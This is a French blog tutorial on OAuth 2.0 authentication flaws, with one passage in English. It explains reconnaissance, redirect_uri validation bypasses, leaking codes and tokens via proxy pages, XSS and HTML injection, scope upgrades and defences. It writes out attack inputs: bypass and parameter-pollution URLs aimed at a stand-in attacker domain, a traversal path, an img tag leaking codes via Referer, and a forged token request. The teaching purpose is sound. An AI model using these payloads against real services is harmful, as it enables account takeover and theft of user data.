Vulnérabilités d'authentification OAuth 2.0.

Qu'est-ce qu'OAuth ?

OAuth est un protocole d'autorisation couramment utilisé permettant aux sites Web et aux applications Web de solliciter l'accès à des données limitées sur le compte d'un utilisateur sur une autre application, tout en protégeant ses identifiants de connexion. Cela donne aux utilisateurs un contrôle sur les données qu'ils souhaitent partager plutôt que de devoir confier leur compte à des tiers.

Le protocole repose sur une série d'interactions entre trois parties distinctes : l'application cliente, le propriétaire de la ressource et le fournisseur de services OAuth. L'application cliente est le site ou l'application Web qui sollicite l'accès aux données de l'utilisateur. Le propriétaire de la ressource est l'utilisateur dont les données sont sollicitées. Le fournisseur de services OAuth est le site ou l'application qui contrôle les données de l'utilisateur et fournit une API pour interagir avec un serveur d'autorisation et un serveur de ressources.

Il existe différents types de subventions ou flux OAuth, mais les plus courants sont le "code d'autorisation" et "implicite". Dans les deux cas, l'application cliente demande l'accès à un sous-ensemble de données de l'utilisateur en spécifiant le type d'autorisation et le type d'accès requis. L'utilisateur est alors invité à se connecter au service OAuth et à donner explicitement son consentement pour l'accès demandé. L'application cliente reçoit ensuite un jeton d'accès unique pour accéder aux données demandées, qu'elle utilise pour effectuer des appels d'API récupérant les données pertinentes du serveur de ressources.

OAuth est largement utilisé pour intégrer des fonctionnalités tierces nécessitant l'accès à certaines données à partir du compte d'un utilisateur. Il est également utilisé pour fournir des services d'authentification tiers, permettant aux utilisateurs de se connecter avec un compte qu'ils ont sur un autre site Web. Pour mieux comprendre comment OAuth est utilisé pour l'authentification, il est important de comprendre les principes fondamentaux du processus OAuth de base, en particulier les détails des types de subventions couverts.

Comment les vulnérabilités d'authentification OAuth surviennent-elles ?

Les vulnérabilités d'authentification OAuth sont en partie dues à la conception relativement vague et flexible de la spécification OAuth. Bien qu'il y ait quelques composants obligatoires pour la fonctionnalité de base de chaque type de subvention, la plupart de la mise en œuvre est facultative, y compris de nombreux paramètres de configuration pour assurer la sécurité des données des utilisateurs. Cela ouvre la voie à de mauvaises pratiques.

Un autre problème clé d'OAuth est le manque de fonctionnalités de sécurité intégrées, ce qui signifie que la sécurité repose principalement sur les développeurs pour configurer correctement et implémenter des mesures de sécurité supplémentaires, comme une validation d'entrée robuste. Cela peut être difficile à assimiler pour les développeurs inexpérimentés avec OAuth.

En outre, selon le type d'autorisation, des données hautement sensibles peuvent être envoyées via le navigateur, offrant ainsi diverses opportunités à un attaquant pour les intercepter.

Reconnaissance

Effectuer une reconnaissance de base du service OAuth utilisé peut vous aider à identifier les vulnérabilités potentielles. Pour ce faire, vous devez examiner les différentes interactions HTTP qui composent le flux OAuth, en portant une attention particulière à certains éléments spécifiques. Si vous utilisez un service OAuth externe, vous pouvez identifier le fournisseur spécifique à partir du nom d'hôte auquel la demande d'autorisation est envoyée. Les fournisseurs de services OAuth fournissent souvent une documentation détaillée de leur API publique, qui peut être utile pour obtenir des informations telles que les noms exacts des points de terminaison et les options de configuration utilisées.

Une fois que vous avez identifié le nom d'hôte du serveur d'autorisation, il est recommandé d'envoyer une demande GET aux points de terminaison standard suivants : "/.well-known/oauth-authorization-server" et "/.well-known/openid-configuration". Ces points de terminaison renvoient souvent un fichier de configuration JSON qui contient des informations clés, telles que des détails sur les fonctionnalités supplémentaires prises en charge. Cela peut vous aider à identifier une surface d'attaque plus large et des fonctionnalités qui ne sont peut-être pas mentionnées dans la documentation.

Exploitation des vulnérabilités d'authentification OAuth

Il existe des vulnérabilités potentielles dans l'implémentation d'OAuth par l'application cliente ainsi que dans la configuration du service OAuth lui-même. Dans cette section, nous allons vous montrer comment exploiter certaines des vulnérabilités les plus courantes dans ces deux contextes.

Vulnérabilités dans l'application cliente OAuth

Les applications clientes utilisent souvent un service OAuth réputé, qui est endurci et bien protégé contre les exploits largement connus. Cependant, leur propre côté de la mise en œuvre peut être moins sécurisé.

La spécification OAuth est définie de manière relativement vague, en particulier en ce qui concerne la mise en œuvre par l'application cliente. Il y a de nombreux paramètres facultatifs et paramètres de configuration dans chaque type d'octroi, ce qui signifie qu'il y a beaucoup de possibilités d'erreurs de configuration.

Dans le flux implicite, le jeton d'accès est envoyé du service OAuth à l'application cliente via le navigateur de l'utilisateur sous forme de fragment d'URL. Si l'application souhaite maintenir la session après que l'utilisateur a fermé la page, elle doit stocker les données de l'utilisateur actuel quelque part, généralement dans un cookie de session. Cependant, dans ce scénario, le serveur n'a aucun secret ou mot de passe à comparer avec les données soumises, ce qui signifie qu'il est implicitement approuvé.

Dans le flux implicite, cette demande POST est exposée aux attaquants via leur navigateur, ce qui peut entraîner une grave vulnérabilité si l'application cliente ne vérifie pas correctement que le jeton d'accès correspond aux autres données de la requête. Dans ce cas, un attaquant peut simplement modifier les paramètres envoyés au serveur pour se faire passer pour n'importe quel utilisateur.

Le paramètre state est fortement recommandé pour prévenir les attaques CSRF. Idéalement, il devrait contenir une valeur impossible à deviner, telle que le hachage de quelque chose lié à la session de l'utilisateur. Si la demande d'autorisation n'envoie pas de paramètre state, cela peut être potentiellement intéressant pour un attaquant, car cela signifie qu'ils peuvent lancer eux-mêmes un flux OAuth avant de tromper le navigateur d'un utilisateur pour qu'il le termine, comme une attaque CSRF traditionnelle.

Fuite des codes d'autorisation et des jetons d'accès

L'une des vulnérabilités les plus connues dans le contexte d'OAuth est celle qui permet aux attaquants de voler des codes d'autorisation ou des jetons d'accès associés aux comptes d'autres utilisateurs. Cette faille peut être causée par une mauvaise configuration du service OAuth, ce qui permet aux attaquants d'accéder aux données des victimes en leur volant un code ou un jeton valide. Une fois en possession de ce code ou de ce jeton, l'attaquant peut se connecter en tant que victime sur n'importe quelle application cliente enregistrée auprès du service OAuth, compromettant ainsi complètement son compte.

Le code ou le jeton est envoyé via le navigateur de la victime au point de terminaison /callback spécifié dans le paramètre redirect_uri de la demande d'autorisation, selon le type d'octroi. Si le service OAuth ne parvient pas à valider correctement cet URI, un attaquant peut être en mesure de construire une attaque de type CSRF pour envoyer le code ou le jeton à un point de terminaison contrôlé par lui.

Dans le flux de code d'autorisation, l'attaquant peut voler le code de la victime avant qu'il ne soit utilisé et l'envoyer au point de terminaison légitime de l'application cliente /callback pour accéder au compte de l'utilisateur. Dans ce cas, l'attaquant n'a même pas besoin de connaître le secret du client ou le jeton d'accès résultant. Tant que la victime a une session valide avec le service OAuth, l'application cliente terminera simplement l'échange de code/token au nom de l'attaquant avant de le connecter au compte de la victime.

Les serveurs d'autorisation plus sécurisés exigeront également l'envoi d'un paramètre redirect_uri lors de l'échange du code et vérifieront si celui-ci correspond à celui reçu dans la demande d'autorisation initiale. Cette validation empêchera l'attaquant de contrôler ce deuxième paramètre redirect_uri, car cela se produit dans les requêtes de serveur à serveur via un back-channel sécurisé.

Validation de redirect_uri défectueuse

En raison des attaques potentielles observées dans l'atelier précédent, il est conseillé aux applications clientes de spécifier une liste blanche d'URI de rappel authentiques lors de leur enregistrement auprès du service OAuth. Ainsi, lorsqu'une nouvelle demande est reçue, le service OAuth peut valider le paramètre redirect_uri par rapport à cette liste blanche. Si l'URI externe est fourni, il sera probablement rejeté. Cependant, il est toujours possible de contourner cette validation.

Lors de l'audit d'un flux OAuth, il est recommandé de tester le paramètre redirect_uri pour comprendre comment il est validé. Par exemple :

Certaines implémentations autorisent une gamme de sous-répertoires en vérifiant uniquement que la chaîne commence par la séquence de caractères correcte, soit le domaine approuvé. Vous pouvez essayer de supprimer ou d'ajouter des chemins arbitraires, des paramètres de requête et des fragments pour voir ce qui peut être modifié sans déclencher d'erreur. Si vous pouvez ajouter des valeurs supplémentaires au paramètre redirect_uri par défaut, il est possible d'exploiter les différences d'analyse de l'URI entre les différents composants du service OAuth. Vous pouvez essayer des techniques telles que :

 https://host.com &@foo.attacker-user.net#@bar.attacker-user.net/

Dans certains cas, il est possible de rencontrer des vulnérabilités de pollution des paramètres côté serveur. Pour être préparé, vous pouvez essayer de soumettre des redirect_uri paramètres en double, de la manière suivante :

 https://oauth-authorization-server.com/?client_id=1&redirect_uri=client.com/callback&redirect_uri=attacker-user.net

Il est important de noter qu'il ne suffit pas de tester le paramètre redirect_uri de manière isolée lors de l'audit d'un flux OAuth. Dans la nature, vous devrez souvent expérimenter différentes combinaisons de modifications de plusieurs paramètres pour découvrir des vulnérabilités. En effet, la modification d'un paramètre peut parfois affecter la validation des autres. Par exemple, la modification du paramètre response_mode à "fragment" peut modifier complètement l'analyse du redirect_uri, permettant ainsi la soumission d'URIs qui seraient autrement bloquées. De même, la prise en charge du mode web_message de réponse permet souvent une plage plus étendue de sous-domaines dans le redirect_uri.

De plus, certains serveurs accordent un traitement spécial aux URIs localhost car ils sont souvent utilisés pendant le développement. Dans certains cas, tout URI de redirection commençant par localhost peut être accidentellement autorisé dans l'environnement de production. Cela pourrait permettre à un attaquant de contourner la validation en enregistrant un nom de domaine tel que localhost.attacker-user.net.

Il convient également de noter que certains serveurs autorisent l'enregistrement d'une liste blanche d'URI de rappel authentiques par les applications clientes. Cette liste blanche permet au serveur de valider le paramètre redirect_uri par rapport à une liste approuvée d'URIs de rappel. Cependant, il peut toujours y avoir des moyens de contourner cette validation, il est donc important de tester différents scénarios pour découvrir des vulnérabilités.

Voler des codes et des jetons d'accès via une page proxy

Une fois que vous avez épuisé toutes les options pour falsifier le paramètre redirect_uri et que vous ne pouvez pas soumettre avec succès un domaine externe, cela ne signifie pas que vous devriez abandonner. À ce stade, vous devriez avoir une bonne compréhension des parties de l'URI que vous pouvez modifier. L'objectif est maintenant d'utiliser ces connaissances pour tenter d'accéder à une surface d'attaque plus large au sein de l'application cliente elle-même. En d'autres termes, vous devez déterminer si vous pouvez modifier le paramètre redirect_uri pour qu'il pointe vers d'autres pages d'un domaine en liste blanche.

Essayez de trouver des moyens d'accéder à différents sous-domaines ou chemins avec succès. Par exemple, l'URI par défaut se trouvera souvent sur un chemin spécifique à OAuth, tel que /oauth/callback, qui n'aura probablement aucun sous-répertoire intéressant. Cependant, vous pouvez peut-être utiliser des techniques de traversée de répertoire pour fournir n'importe quel chemin arbitraire sur le domaine, comme ceci :

 https://client.com/oauth/callback/../../example/path

Peut être interprété sur le back-end comme :

 https://client.com/example/path

Once you have identified other pages that can be set as redirect URIs, you should audit them for additional vulnerabilities that you can potentially exploit to disclose the code or token. For the authorization code flow, you need to find a vulnerability that gives you access to the query parameters, while for the implicit grant type, you need to extract the URL fragment.

One of the most useful vulnerabilities for this purpose is an open redirect. You can use it as a proxy to transfer victims, along with their code or token, to a domain controlled by the attacker, where you can host any malicious script you like.

Note that for the implicit grant type, stealing an access token not only allows you to log in to the victim's account on the client application. Since the entire implicit flow is carried out via the browser, you can also use the token to make your own API calls to the OAuth service's resource server. This may allow you to retrieve sensitive user data that you normally cannot access from the client application's web interface.

In addition to open redirects, you should look for any other vulnerabilities that allow you to extract the code or token and send it to an external domain. Here are some good examples:

  • Dangerous JavaScript that handles query parameters and URL fragments. For example, insecure web messaging scripts may be perfect for this. In some scenarios, you may need to identify a longer gadget chain that allows you to pass the token through a series of scripts before eventually disclosing it to your external domain.
  • XSS vulnerabilities. While XSS attacks can have a huge impact, there is usually a short window of time during which the attacker has access to the user's session before closing the tab or leaving. As the HTTPOnly attribute is commonly used for session cookies, an attacker will often also be unable to directly access it using XSS. However, by stealing an OAuth code or token, the attacker can access the user's account in their own browser. This gives them much more time to explore the user's data and perform harmful actions, greatly increasing the severity of the XSS vulnerability.
  • HTML injection vulnerabilities. In cases where you cannot inject JavaScript (for example, due to CSP constraints or strict filtering), you can still use a simple HTML injection to steal authorization codes. If you can point the redirect URI parameter to a page where you can inject your own HTML content, you may be able to disclose the code via the Referer header. For example, consider the following img element:
 <img src="attacker-user.net">

En tentant de récupérer cette image, certains navigateurs, tels que Firefox, incluront la chaîne de requête dans l'URL complet dans l'en-tête Referer de la requête.

Validation de portée défectueuse

Lorsqu'un flux OAuth est utilisé, l'utilisateur doit donner son accord pour l'accès demandé en fonction de la portée spécifiée dans la demande d'autorisation. Le jeton résultant permet à l'application cliente d'accéder uniquement à la portée autorisée par l'utilisateur. Toutefois, dans certaines situations, un attaquant pourrait être en mesure de "mettre à niveau" un jeton d'accès (obtenu par le biais d'une application cliente malveillante ou volé) en ajoutant des autorisations supplémentaires en raison d'une validation défectueuse effectuée par le service OAuth. Les étapes pour effectuer une telle mise à niveau varient en fonction du type de consentement accordé.

Mise à niveau de l'étendue : flux de code d'autorisation

Avec le type d'octroi de code d'autorisation, les données de l'utilisateur sont sollicitées et transmises via une communication sécurisée de serveur à serveur, qui n'est normalement pas manipulable directement par un attaquant tiers. Cependant, il est encore possible pour un attaquant d'obtenir le même résultat en enregistrant sa propre application cliente auprès du service OAuth.

Prenons l'exemple où l'application cliente malveillante de l'attaquant demande initialement l'accès à l'adresse e-mail de l'utilisateur via la portée openid email. Une fois que l'utilisateur approuve cette demande, l'application cliente malveillante reçoit un code d'autorisation. Étant donné que l'attaquant contrôle son application cliente, il peut ajouter un autre paramètre scope à la demande d'échange de code/token, contenant la portée profile supplémentaire :

 POST /token
Host: oauth-authorization-server.com
…
client_id=1&client_secret=SECRET&redirect_uri=https://client.com/callback&grant_type=authorization_code&code=a1b2c4d4f5f6g7h8&scope=openid%20 email%20profile

Si le serveur ne vérifie pas cette demande par rapport à la portée de la demande d'autorisation initiale, il peut parfois générer un jeton d'accès en utilisant la nouvelle portée et le transmettre à l'application cliente de l'attaquant :

 {
    "access_token": "z0ysd9x8w7vsdu5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile",
    …
}

Ensuite, l'attaquant peut utiliser son application pour réaliser les appels d'API requis afin d'accéder aux données de profil de l'utilisateur.

Comment prévenir les vulnérabilités d'authentification OAuth

Afin de prévenir les vulnérabilités liées à l'authentification OAuth, il est crucial que le fournisseur OAuth ainsi que l'application cliente mettent en place une validation rigoureuse des entrées de clé, en particulier le paramètre redirect_uri. Étant donné qu'il y a peu de protection intégrée dans la spécification OAuth, les développeurs doivent eux-mêmes prendre les mesures nécessaires pour sécuriser le flux OAuth autant que possible.

Il est important de souligner que des vulnérabilités peuvent se produire tant du côté de l'application cliente que du service OAuth lui-même. Même si votre propre implémentation est solide, vous êtes toujours dépendant de la solidité de l'application de l'autre côté.

Pour les fournisseurs de services OAuth

Pour prévenir les vulnérabilités liées à l'authentification OAuth, il est recommandé d'exiger que les applications clientes enregistrent une liste blanche de fichiers redirect_uris. Dans la mesure du possible, une comparaison stricte octet par octet doit être utilisée pour valider l'URI dans toutes les demandes entrantes, n'autorisant que les correspondances complètes et exactes plutôt que d'utiliser la correspondance de modèle. Cela empêche les attaquants d'accéder à d'autres pages sur les domaines de la liste blanche.

L'utilisation du paramètre "state" est également recommandée. Sa valeur doit être liée à la session de l'utilisateur en incluant des données spécifiques à la session, telles qu'un hachage contenant le cookie de session. Cela aide à protéger les utilisateurs contre les attaques de type CSRF et rend plus difficile pour un attaquant d'utiliser des codes d'autorisation volés.

Du côté du serveur de ressources, il est crucial de vérifier que le jeton d'accès a été délivré au client_id qui a effectué la demande. La portée demandée doit également être vérifiée pour s'assurer qu'elle correspond à la portée pour laquelle le jeton a été initialement accordé.

Mise à niveau du périmètre : flux implicite

Dans le cas de l'autorisation implicite, le jeton d'accès est transmis via le navigateur, ce qui signifie qu'un attaquant peut facilement voler des jetons associés à des applications clientes légitimes et les utiliser directement. Une fois en possession du jeton d'accès, l'attaquant peut envoyer une requête normale basée sur un navigateur au point de terminaison du service OAuth /userinfo, en ajoutant manuellement un nouveau paramètre scope dans le processus.

Idéalement, le service OAuth devrait valider cette valeur scope par rapport à celle qui a été utilisée lors de la génération du jeton, mais ce n'est pas toujours le cas. Tant que les autorisations ajoutées ne dépassent pas le niveau d'accès précédemment accordé à cette application cliente, l'attaquant peut potentiellement accéder à des données supplémentaires sans nécessiter une approbation supplémentaire de l'utilisateur.

Pour les applications clientes OAuth

Avant de mettre en place OAuth, il est crucial de comprendre en détail son fonctionnement. De nombreuses vulnérabilités sont causées par un simple manque de compréhension de ce qui se passe exactement à chaque étape et comment cela peut potentiellement être exploité.

Il est recommandé d'utiliser le paramètre "state" même s'il n'est pas obligatoire. Il est également important d'envoyer un paramètre "redirect_uri" non seulement au point de terminaison /authorization, mais également au point de terminaison /token.

Lorsque vous développez des applications clientes OAuth mobiles ou de bureau natives, il n'est souvent pas possible de garder la client_secret confidentielle. Dans ces situations, le mécanisme PKCE (RFC 7636) peut être utilisé pour fournir une protection supplémentaire contre l'interception ou la fuite du code d'accès.

Si vous utilisez OpenID Connect id_token, assurez-vous qu'il est correctement validé conformément aux spécifications JSON Web Signature, JSON Web Encryption et OpenID.

Il convient d'être prudent avec les codes d'autorisation, car ils peuvent être divulgués via des en-têtes Referer lors du chargement d'images externes, de scripts ou de contenu CSS. Il est également important de ne pas les inclure dans les fichiers JavaScript générés dynamiquement car ils peuvent être exécutés à partir de domaines externes.

Developpeur et architecte passionné, qui souhaite partagé son univers et ses découvertes afin de rendre les choses plus simple pour chacun